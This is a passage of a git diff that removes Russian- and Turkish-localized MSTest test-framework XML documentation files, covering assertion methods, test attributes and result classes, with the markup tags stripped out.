коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на равенство и создает исключение, - если две коллекции не равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Это — ожидаемая тестом коллекция. - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - не равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is not equal to - . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Thrown if is equal to . - - - - - Проверяет указанные коллекции на неравенство и создает исключение, - если две коллекции равны. Равенство определяется как наличие одинаковых - элементов в том же порядке и количестве. Различные ссылки на одно и то же - значение считаются равными. - - - Первая сравниваемая коллекция. Эта коллекция с точки зрения теста не - должна соответствовать . - - - Вторая сравниваемая коллекция. Это — коллекция, созданная - тестируемым кодом. - - - Реализация сравнения для сравнения элементов коллекции. - - - Сообщение, которое будет добавлено в исключение, если - равен . Сообщение отображается в - результатах тестирования. - - - Массив параметров для использования при форматировании . - - - Thrown if is equal to . - - - - - Определяет, является ли первая коллекция подмножеством второй - коллекции. Если любое из множеств содержит одинаковые элементы, то число - вхождений элемента в подмножестве должно быть меньше или - равно количеству вхождений в супермножестве. - - - Коллекция, которая с точки зрения теста должна содержаться в . - - - Коллекция, которая с точки зрения теста должна содержать . - - - Значение True, если является подмножеством - , в противном случае — False. - - - - - Создает словарь с числом вхождений каждого элемента - в указанной коллекции. - - - Обрабатываемая коллекция. - - - Число элементов, имеющих значение NULL, в коллекции. - - - Словарь с числом вхождений каждого элемента - в указанной коллекции. - - - - - Находит несоответствующий элемент между двумя коллекциями. Несоответствующий - элемент — это элемент, количество вхождений которого в ожидаемой коллекции отличается - от фактической коллекции. В качестве коллекций - ожидаются различные ссылки, отличные от null, с одинаковым - количеством элементов. За этот уровень проверки отвечает - вызывающий объект. Если несоответствующих элементов нет, функция возвращает - False, и выходные параметры использовать не следует. - - - Первая сравниваемая коллекция. - - - Вторая сравниваемая коллекция. - - - Ожидаемое число вхождений - или 0, если несоответствующие элементы - отсутствуют. - - - Фактическое число вхождений - или 0, если несоответствующие элементы - отсутствуют. - - - Несоответствующий элемент (может иметь значение NULL) или значение NULL, если несоответствующий - элемент отсутствует. - - - Значение True, если был найден несоответствующий элемент, в противном случае — False. - - - - - сравнивает объекты при помощи object.Equals - - - - - Базовый класс для исключений платформы. - - - - - Инициализирует новый экземпляр класса . - - - - - Инициализирует новый экземпляр класса . - - Сообщение. - Исключение. - - - - Инициализирует новый экземпляр класса . - - Сообщение. - - - - Строго типизированный класс ресурса для поиска локализованных строк и т. д. - - - - - Возвращает кэшированный экземпляр ResourceManager, использованный этим классом. - - - - - Переопределяет свойство CurrentUICulture текущего потока для всех операций - поиска ресурсов, в которых используется этот строго типизированный класс. - - - - - Ищет локализованную строку, похожую на "Синтаксис строки доступа неверен". - - - - - Ищет локализованную строку, похожую на "Ожидаемая коллекция содержит {1} вхождений <{2}>. Фактическая коллекция содержит {3} вхождений. {0}". - - - - - Ищет локализованную строку, похожую на "Обнаружен элемент-дубликат: <{1}>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое: <{1}>. Фактическое значение имеет другой регистр: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Различие между ожидаемым значением <{1}> и фактическим значением <{2}> должно было составлять не больше <{3}>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое: <{1} ({2})>. Фактическое: <{3} ({4})>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое: <{1}>. Фактическое: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Различие между ожидаемым значением <{1}> и фактическим значением <{2}> должно было составлять больше <{3}>. {0}". - - - - - Ищет локализованную строку, похожую на "Ожидалось любое значение, кроме: <{1}>. Фактическое значение: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Не передавайте типы значений в AreSame(). Значения, преобразованные в объекты, никогда не будут одинаковыми. Воспользуйтесь методом AreEqual(). {0}". - - - - - Ищет локализованную строку, похожую на "Сбой {0}. {1}". - - - - - Ищет локализованную строку, аналогичную "Асинхронный метод TestMethod с UITestMethodAttribute не поддерживается. Удалите async или используйте TestMethodAttribute". - - - - - Ищет локализованную строку, похожую на "Обе коллекции пусты. {0}". - - - - - Ищет локализованную строку, похожую на "Обе коллекции содержат одинаковые элементы". - - - - - Ищет локализованную строку, похожую на "Ссылки на обе коллекции указывают на один объект коллекции. {0}". - - - - - Ищет локализованную строку, похожую на "Обе коллекции содержат одинаковые элементы. {0}". - - - - - Ищет локализованную строку, похожую на "{0}({1})". - - - - - Ищет локализованную строку, похожую на "(NULL)". - - - - - Ищет локализованную строку, похожую на "(объект)". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не содержит строку "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "{0} ({1})". - - - - - Ищет локализованную строку, похожую на "Assert.Equals не следует использовать для Assertions. Используйте Assert.AreEqual и переопределения". - - - - - Ищет локализованную строку, похожую на "Число элементов в коллекциях не совпадает. Ожидаемое число: <{1}>. Фактическое: <{2}>.{0}". - - - - - Ищет локализованную строку, похожую на "Элемент с индексом {0} не соответствует". - - - - - Ищет локализованную строку, похожую на "Элемент с индексом {1} имеет непредвиденный тип. Ожидаемый тип: <{2}>. Фактический тип: <{3}>.{0}". - - - - - Ищет локализованную строку, похожую на "Элемент с индексом {1} имеет значение (NULL). Ожидаемый тип: <{2}>.{0}". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не заканчивается строкой "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Недопустимый аргумент — EqualsTester не может использовать значения NULL". - - - - - Ищет локализованную строку, похожую на "Невозможно преобразовать объект типа {0} в {1}". - - - - - Ищет локализованную строку, похожую на "Внутренний объект, на который была сделана ссылка, более не действителен". - - - - - Ищет локализованную строку, похожую на "Параметр "{0}" недопустим. {1}". - - - - - Ищет локализованную строку, похожую на "Свойство {0} имеет тип {1}; ожидаемый тип: {2}". - - - - - Ищет локализованную строку, похожую на "{0} Ожидаемый тип: <{1}>. Фактический тип: <{2}>". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не соответствует шаблону "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Неправильный тип: <{1}>. Фактический тип: <{2}>. {0}". - - - - - Ищет локализованную строку, похожую на "Строка "{0}" соответствует шаблону "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Не указан атрибут DataRowAttribute. Необходимо указать как минимум один атрибут DataRowAttribute с атрибутом DataTestMethodAttribute". - - - - - Ищет локализованную строку, похожую на "Исключение не было создано. Ожидалось исключение {1}. {0}". - - - - - Ищет локализованную строку, похожую на "Параметр "{0}" недопустим. Значение не может быть равно NULL. {1}". - - - - - Ищет локализованную строку, похожую на "Число элементов различается". - - - - - Ищет локализованную строку, похожую на - "Не удалось найти конструктор с указанной сигнатурой. Возможно, потребуется повторно создать закрытый метод доступа, - или элемент может быть закрытым и определяться в базовом классе. В последнем случае необходимо передать тип, - определяющий элемент, в конструктор класса PrivateObject". - . - - - - - Ищет локализованную строку, похожую на - "Не удалось найти указанный элемент ({0}). Возможно, потребуется повторно создать закрытый метод доступа, - или элемент может быть закрытым и определяться в базовом классе. В последнем случае необходимо передать тип, - определяющий элемент, в конструктор PrivateObject". - . - - - - - Ищет локализованную строку, похожую на "Строка "{0}" не начинается со строки "{1}". {2}". - - - - - Ищет локализованную строку, похожую на "Ожидаемое исключение должно иметь тип System.Exception или производный от него тип". - - - - - Ищет локализованную строку, похожую на "(Не удалось получить сообщение для исключения типа {0} из-за исключения.)". - - - - - Ищет локализованную строку, похожую на "Метод теста не создал ожидаемое исключение {0}. {1}". - - - - - Ищет локализованную строку, похожую на "Метод теста не создал исключение. Исключение ожидалось атрибутом {0}, определенным в методе теста". - - - - - Ищет локализованную строку, похожую на "Метод теста создан исключение {0}, а ожидалось исключение {1}. Сообщение исключения: {2}". - - - - - Ищет локализованную строку, похожую на "Метод теста создал исключение {0}, а ожидалось исключение {1} или производный от него тип. Сообщение исключения: {2}". - - - - - Ищет локализованную строку, похожую на "Создано исключение {2}, а ожидалось исключение {1}. {0} - Сообщение исключения: {3} - Стек трассировки: {4}". - - - - - результаты модульного теста - - - - - Тест был выполнен, но при его выполнении возникли проблемы. - Эти проблемы могут включать исключения или сбой утверждений. - - - - - Тест завершен, но результат его завершения неизвестен. - Может использоваться для прерванных тестов. - - - - - Тест был выполнен без проблем. - - - - - Тест выполняется в данный момент. - - - - - При попытке выполнения теста возникла ошибка в системе. - - - - - Время ожидания для теста истекло. - - - - - Тест прерван пользователем. - - - - - Тест находится в неизвестном состоянии - - - - - Предоставляет вспомогательные функции для платформы модульных тестов - - - - - Получает сообщения с исключениями, включая сообщения для всех внутренних исключений - (рекурсивно) - - Исключение, для которого следует получить сообщения - строка с сообщением об ошибке - - - - Перечисление для времен ожидания, которое можно использовать с классом . - Тип перечисления должен соответствовать - - - - - Бесконечно. - - - - - Атрибут тестового класса. - - - - - Получает атрибут метода теста, включающий выполнение этого теста. - - Для этого метода определен экземпляр атрибута метода теста. - - для использования для выполнения этого теста. - Extensions can override this method to customize how all methods in a class are run. - - - - Атрибут метода теста. - - - - - Выполняет метод теста. - - Выполняемый метод теста. - Массив объектов TestResult, представляющих результаты теста. - Extensions can override this method to customize running a TestMethod. - - - - Атрибут инициализации теста. - - - - - Атрибут очистки теста. - - - - - Атрибут игнорирования. - - - - - Атрибут свойства теста. - - - - - Инициализирует новый экземпляр класса . - - - Имя. - - - Значение. - - - - - Получает имя. - - - - - Получает значение. - - - - - Атрибут инициализации класса. - - - - - Атрибут очистки класса. - - - - - Атрибут инициализации сборки. - - - - - Атрибут очистки сборки. - - - - - Владелец теста - - - - - Инициализирует новый экземпляр класса . - - - Владелец. - - - - - Получает владельца. - - - - - Атрибут Priority; используется для указания приоритета модульного теста. - - - - - Инициализирует новый экземпляр класса . - - - Приоритет. - - - - - Получает приоритет. - - - - - Описание теста - - - - - Инициализирует новый экземпляр класса для описания теста. - - Описание. - - - - Получает описание теста. - - - - - URI структуры проекта CSS - - - - - Инициализирует новый экземпляр класса для URI структуры проекта CSS. - - URI структуры проекта CSS. - - - - Получает URI структуры проекта CSS. - - - - - URI итерации CSS - - - - - Инициализирует новый экземпляр класса для URI итерации CSS. - - URI итерации CSS. - - - - Получает URI итерации CSS. - - - - - Атрибут WorkItem; используется для указания рабочего элемента, связанного с этим тестом. - - - - - Инициализирует новый экземпляр класса для атрибута WorkItem. - - Идентификатор рабочего элемента. - - - - Получает идентификатор связанного рабочего элемента. - - - - - Атрибут Timeout; используется для указания времени ожидания модульного теста. - - - - - Инициализирует новый экземпляр класса . - - - Время ожидания. - - - - - Инициализирует новый экземпляр класса с заданным временем ожидания - - - Время ожидания - - - - - Получает время ожидания. - - - - - Объект TestResult, который возвращается адаптеру. - - - - - Инициализирует новый экземпляр класса . - - - - - Получает или задает отображаемое имя результата. Удобно для возврата нескольких результатов. - Если параметр равен NULL, имя метода используется в качестве DisplayName. - - - - - Получает или задает результат выполнения теста. - - - - - Получает или задает исключение, создаваемое, если тест не пройден. - - - - - Получает или задает выходные данные сообщения, записываемого кодом теста. - - - - - Получает или задает выходные данные сообщения, записываемого кодом теста. - - - - - Получает или задает трассировки отладки для кода теста. - - - - - Gets or sets the debug traces by test code. - - - - - Получает или задает продолжительность выполнения теста. - - - - - Возвращает или задает индекс строки данных в источнике данных. Задается только для результатов выполнения - отдельных строк данных для теста, управляемого данными. - - - - - Получает или задает возвращаемое значение для метода теста. (Сейчас всегда равно NULL.) - - - - - Возвращает или задает файлы результатов, присоединенные во время теста. - - - - - Задает строку подключения, имя таблицы и метод доступа к строкам для тестов, управляемых данными. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - Имя поставщика по умолчанию для DataSource. - - - - - Метод доступа к данным по умолчанию. - - - - - Инициализирует новый экземпляр класса . Этот экземпляр инициализируется с поставщиком данных, строкой подключения, таблицей данных и методом доступа к данным для доступа к источнику данных. - - Имя инвариантного поставщика данных, например System.Data.SqlClient - - Строка подключения для поставщика данных. - Внимание! Строка подключения может содержать конфиденциальные данные (например, пароль). - Строка подключения хранится в виде открытого текста в исходном коде и в скомпилированной сборке. - Ограничьте доступ к исходному коду и сборке для защиты конфиденциальных данных. - - Имя таблицы данных. - Задает порядок доступа к данным. - - - - Инициализирует новый экземпляр класса . Этот экземпляр будет инициализирован с строкой подключения и именем таблицы. - Укажите строку подключения и таблицу данных для доступа к источнику данных OLEDB. - - - Строка подключения для поставщика данных. - Внимание! Строка подключения может содержать конфиденциальные данные (например, пароль). - Строка подключения хранится в виде открытого текста в исходном коде и в скомпилированной сборке. - Ограничьте доступ к исходному коду и сборке для защиты конфиденциальных данных. - - Имя таблицы данных. - - - - Инициализирует новый экземпляр класса . Этот экземпляр инициализируется с поставщиком данных и строкой подключения, связанной с именем параметра. - - Имя источника данных, обнаруженного в разделе <microsoft.visualstudio.qualitytools> файла app.config. - - - - Получает значение, представляющее поставщик данных для источника данных. - - - Имя поставщика данных. Если поставщик данных не был определен при инициализации объекта, будет возвращен поставщик по умолчанию, System.Data.OleDb. - - - - - Получает значение, представляющее строку подключения для источника данных. - - - - - Получает значение с именем таблицы, содержащей данные. - - - - - Возвращает метод, используемый для доступа к источнику данных. - - - - Один из значений. Если не инициализировано, возвращается значение по умолчанию . - - - - - Возвращает имя источника данных, обнаруженное в разделе <microsoft.visualstudio.qualitytools> файла app.config. - - - - - Атрибут для тестов, управляемых данными, в которых данные могут быть встроенными. - - - - - Найти все строки данных и выполнить. - - - Метод теста. - - - Массив . - - - - - Выполнение метода теста, управляемого данными. - - Выполняемый метод теста. - Строка данных. - Результаты выполнения. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index a5125608..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,113 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Test başına dağıtım için dağıtım öğesi (dosya veya dizin) belirtmek üzere kullanılır. - Test sınıfında veya test metodunda belirtilebilir. - Birden fazla öğe belirtmek için özniteliğin birden fazla örneğini içerebilir. - Öğe yolu mutlak veya göreli olabilir; göreli ise RunConfig.RelativePathRoot ile görelidir. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - Putting this in here so that UWP discovery works. We still do not want users to be using DeploymentItem in the UWP world - Hence making it internal. - We should separate out DeploymentItem logic in the adapter via a Framework extensiblity point. - Filed https://github.com/Microsoft/testfx/issues/100 to track this. - - - - - sınıfının yeni bir örneğini başlatır. - - Dağıtılacak dosya veya dizin. Yol, derleme çıktı dizinine göredir. Öğe, dağıtılan test bütünleştirilmiş kodlarıyla aynı dizine kopyalanır. - - - - sınıfının yeni bir örneğini başlatır - - Dağıtılacak dosya veya dizinin göreli ya da mutlak yolu. Yol, derleme çıktı dizinine göredir. Öğe, dağıtılan test bütünleştirilmiş kodlarıyla aynı dizine kopyalanır. - Öğelerin kopyalanacağı dizinin yolu. Dağıtım dizinine göre mutlak veya göreli olabilir. Tüm dosyalar ve dizinler şuna göre tanımlanır: bu dizine kopyalanacak. - - - - Kopyalanacak kaynak dosya veya klasörün yolunu alır. - - - - - Öğenin kopyalandığı dizinin yolunu alır. - - - - - Windows mağazası uygulamaları için UI iş parçacığında test kodunu çalıştırır. - - - - - UI İş Parçacığında test metodunu çalıştırır. - - - Test metodu. - - - Bir örnekler. - - Throws when run on an async test method. - - - - - TestContext sınıfı. Bu sınıf tamamen soyut olmalı ve herhangi bir üye - içermemelidir. Üyeler bağdaştırıcı tarafından uygulanır. Çerçevedeki kullanıcılar - buna yalnızca iyi tanımlanmış bir arabirim üzerinden erişmelidir. - - - - - Bir testin test özelliklerini alır. - - - - - O anda yürütülen test metodunu içeren sınıfın tam adını alır - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - Yürütülmekte olan test metodunun Adını alır - - - - - Geçerli test sonucunu alır. - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index b7a00291..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/uap10.0/tr/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - Yürütülecek TestMethod. - - - - - Test metodunun adını alır. - - - - - Test sınıfının adını alır. - - - - - Test metodunun dönüş türünü alır. - - - - - Test metodunun parametrelerini alır. - - - - - Test metodu için methodInfo değerini alır. - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - Test metodunu çağırır. - - - Test metoduna geçirilecek bağımsız değişkenler. (Örn. Veri temelli için) - - - Test yöntemi çağırma sonucu. - - - This call handles asynchronous test methods as well. - - - - - Test metodunun tüm özniteliklerini alır. - - - Üst sınıfta tanımlanan özniteliğin geçerli olup olmadığını belirtir. - - - Tüm öznitelikler. - - - - - Belirli bir türdeki özniteliği alır. - - System.Attribute type. - - Üst sınıfta tanımlanan özniteliğin geçerli olup olmadığını belirtir. - - - Belirtilen türün öznitelikleri. - - - - - Yardımcı. - - - - - Denetim parametresi null değil. - - - Parametre. - - - Parametre adı. - - - İleti. - - Throws argument null exception when parameter is null. - - - - Denetim parametresi null veya boş değil. - - - Parametre. - - - Parametre adı. - - - İleti. - - Throws ArgumentException when parameter is null. - - - - Veri tabanlı testlerde veri satırlarına erişme şekline yönelik sabit listesi. - - - - - Satırlar sıralı olarak döndürülür. - - - - - Satırlar rastgele sırayla döndürülür. - - - - - Bir test metodu için satır içi verileri tanımlayan öznitelik. - - - - - sınıfının yeni bir örneğini başlatır. - - Veri nesnesi. - - - - Bir bağımsız değişken dizisi alan sınıfının yeni bir örneğini başlatır. - - Bir veri nesnesi. - Daha fazla veri. - - - - Çağıran test metodu verilerini alır. - - - - - Özelleştirme için test sonuçlarında görünen adı alır veya ayarlar. - - - - - Onay sonuçlandırılmadı özel durumu. - - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - - - - sınıfının yeni bir örneğini başlatır. - - - - - InternalTestFailureException sınıfı. Bir test çalışmasının iç hatasını belirtmek için kullanılır - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - sınıfının yeni bir örneğini başlatır. - - Özel durum iletisi. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - Özel durum iletisi. - - - - sınıfının yeni bir örneğini başlatır. - - - - - Belirtilen türde bir özel durum beklemeyi belirten öznitelik - - - - - Beklenen tür ile sınıfının yeni bir örneğini başlatır - - Beklenen özel durum türü - - - - Beklenen tür ve test tarafından özel durum oluşturulmadığında eklenecek ileti ile sınıfının - yeni bir örneğini başlatır. - - Beklenen özel durum türü - - Test bir özel durum oluşturmama nedeniyle başarısız olursa test sonucuna dahil edilecek ileti - - - - - Beklenen özel durumun Türünü belirten bir değer alır - - - - - Beklenen özel durumun türünden türetilmiş türlerin beklenen özel durum türü olarak değerlendirilmesine izin verilip verilmeyeceğini - belirten değeri alır veya ayarlar - - - - - Özel durum oluşturulamaması nedeniyle testin başarısız olması durumunda, test sonucuna dahil edilecek olan iletiyi alır - - - - - Birim testi tarafından oluşturulan özel durum türünün beklendiğini doğrular - - Birim testi tarafından oluşturulan özel durum - - - - Birim testinden bir özel durum beklemek için belirtilen özniteliklerin temel sınıfı - - - - - Varsayılan bir 'özel durum yok' iletisi ile sınıfının yeni bir örneğini başlatır - - - - - Bir 'özel durum yok' iletisi ile sınıfının yeni bir örneğini başlatır - - - Test bir özel durum oluşturmama nedeniyle başarısız olursa test sonucuna - dahil edilecek özel durum - - - - - Özel durum oluşturulamaması nedeniyle testin başarısız olması durumunda, test sonucuna dahil edilecek olan iletiyi alır - - - - - Özel durum oluşturulamaması nedeniyle testin başarısız olması durumunda, test sonucuna dahil edilecek olan iletiyi alır - - - - - Varsayılan 'özel durum yok' iletisini alır - - ExpectedException özniteliği tür adı - Özel durum olmayan varsayılan ileti - - - - Özel durumun beklenip beklenmediğini belirler. Metot dönüş yapıyorsa, özel - durumun beklendiği anlaşılır. Metot bir özel durum oluşturuyorsa, özel durumun - beklenmediği anlaşılır ve oluşturulan özel durumun iletisi test sonucuna - eklenir. Kolaylık sağlamak amacıyla sınıfı kullanılabilir. - kullanılırsa ve onaylama başarısız olursa, - test sonucu Belirsiz olarak ayarlanır. - - Birim testi tarafından oluşturulan özel durum - - - - Özel durum bir AssertFailedException veya AssertInconclusiveException ise özel durumu yeniden oluşturur - - Bir onaylama özel durumu ise yeniden oluşturulacak özel durum - - - - Bu sınıf, kullanıcının genel türler kullanan türlere yönelik birim testleri yapmasına yardımcı olmak üzere tasarlanmıştır. - GenericParameterHelper bazı genel tür kısıtlamalarını yerine getirir; - örneğin: - 1. genel varsayılan oluşturucu - 2. ortak arabirim uygular: IComparable, IEnumerable - - - - - sınıfının C# genel türlerindeki 'newable' - kısıtlamasını karşılayan yeni bir örneğini başlatır. - - - This constructor initializes the Data property to a random value. - - - - - sınıfının, Data özelliğini kullanıcı - tarafından sağlanan bir değerle başlatan yeni bir örneğini başlatır. - - Herhangi bir tamsayı değeri - - - - Verileri alır veya ayarlar - - - - - İki GenericParameterHelper nesnesi için değer karşılaştırması yapar - - karşılaştırma yapılacak nesne - nesne bu 'this' GenericParameterHelper nesnesiyle aynı değere sahipse true. - aksi takdirde false. - - - - Bu nesne için bir karma kod döndürür. - - Karma kod. - - - - İki nesnesinin verilerini karşılaştırır. - - Karşılaştırılacak nesne. - - Bu örnek ve değerin göreli değerlerini gösteren, işaretli sayı. - - - Thrown when the object passed in is not an instance of . - - - - - Uzunluğu Data özelliğinden türetilmiş bir IEnumerator nesnesi - döndürür. - - IEnumerator nesnesi - - - - Geçerli nesneye eşit olan bir GenericParameterHelper nesnesi - döndürür. - - Kopyalanan nesne. - - - - Kullanıcıların tanılama amacıyla birim testlerindeki izlemeleri günlüğe kaydetmesini/yazmasını sağlar. - - - - - LogMessage işleyicisi. - - Günlüğe kaydedilecek ileti. - - - - Dinlenecek olay. Birim testi yazıcı bir ileti yazdığında oluşturulur. - Genellikle bağdaştırıcı tarafından kullanılır. - - - - - İletileri günlüğe kaydetmek için çağrılacak test yazıcısı API'si. - - Yer tutucuları olan dize biçimi. - Yer tutucu parametreleri. - - - - TestCategory özniteliği; bir birim testinin kategorisini belirtmek için kullanılır. - - - - - sınıfının yeni bir örneğini başlatır ve kategoriyi teste uygular. - - - Test Kategorisi. - - - - - Teste uygulanan test kategorilerini alır. - - - - - "Category" özniteliğinin temel sınıfı - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - sınıfının yeni bir örneğini başlatır. - Kategoriyi teste uygular. TestCategories tarafından döndürülen - dizeler /category komutu içinde testleri filtrelemek için kullanılır - - - - - Teste uygulanan test kategorisini alır. - - - - - AssertFailedException sınıfı. Test çalışmasının başarısız olduğunu göstermek için kullanılır - - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - - - - sınıfının yeni bir örneğini başlatır. - - - - - Birim testleri içindeki çeşitli koşulları test etmeye yönelik yardımcı - sınıf koleksiyonu. Test edilen koşul karşılanmazsa bir özel durum - oluşturulur. - - - - - Assert işlevselliğinin tekil örneğini alır. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Belirtilen koşulun true olup olmadığını test eder ve koşul false ise - bir özel durum oluşturur. - - - Testte true olması beklenen koşul. - - - Thrown if is false. - - - - - Belirtilen koşulun true olup olmadığını test eder ve koşul false ise - bir özel durum oluşturur. - - - Testte true olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - false. İleti test sonuçlarında gösterilir. - - - Thrown if is false. - - - - - Belirtilen koşulun true olup olmadığını test eder ve koşul false ise - bir özel durum oluşturur. - - - Testte true olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - false. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is false. - - - - - Belirtilen koşulun false olup olmadığını test eder ve koşul true ise - bir özel durum oluşturur. - - - Testte false olması beklenen koşul. - - - Thrown if is true. - - - - - Belirtilen koşulun false olup olmadığını test eder ve koşul true ise - bir özel durum oluşturur. - - - Testte false olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - true. İleti test sonuçlarında gösterilir. - - - Thrown if is true. - - - - - Belirtilen koşulun false olup olmadığını test eder ve koşul true ise - bir özel durum oluşturur. - - - Testte false olması beklenen koşul. - - - Şu durumda özel duruma dahil edilecek ileti - true. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is true. - - - - - Belirtilen nesnenin null olup olmadığını test eder ve değilse bir - özel durum oluşturur. - - - Testte null olması beklenen nesne. - - - Thrown if is not null. - - - - - Belirtilen nesnenin null olup olmadığını test eder ve değilse bir - özel durum oluşturur. - - - Testte null olması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null değil. İleti test sonuçlarında gösterilir. - - - Thrown if is not null. - - - - - Belirtilen nesnenin null olup olmadığını test eder ve değilse bir - özel durum oluşturur. - - - Testte null olması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null değil. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not null. - - - - - Belirtilen dizenin null olup olmadığını test eder ve null ise bir özel durum - oluşturur. - - - Testte null olmaması beklenen nesne. - - - Thrown if is null. - - - - - Belirtilen dizenin null olup olmadığını test eder ve null ise bir özel durum - oluşturur. - - - Testte null olmaması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null. İleti test sonuçlarında gösterilir. - - - Thrown if is 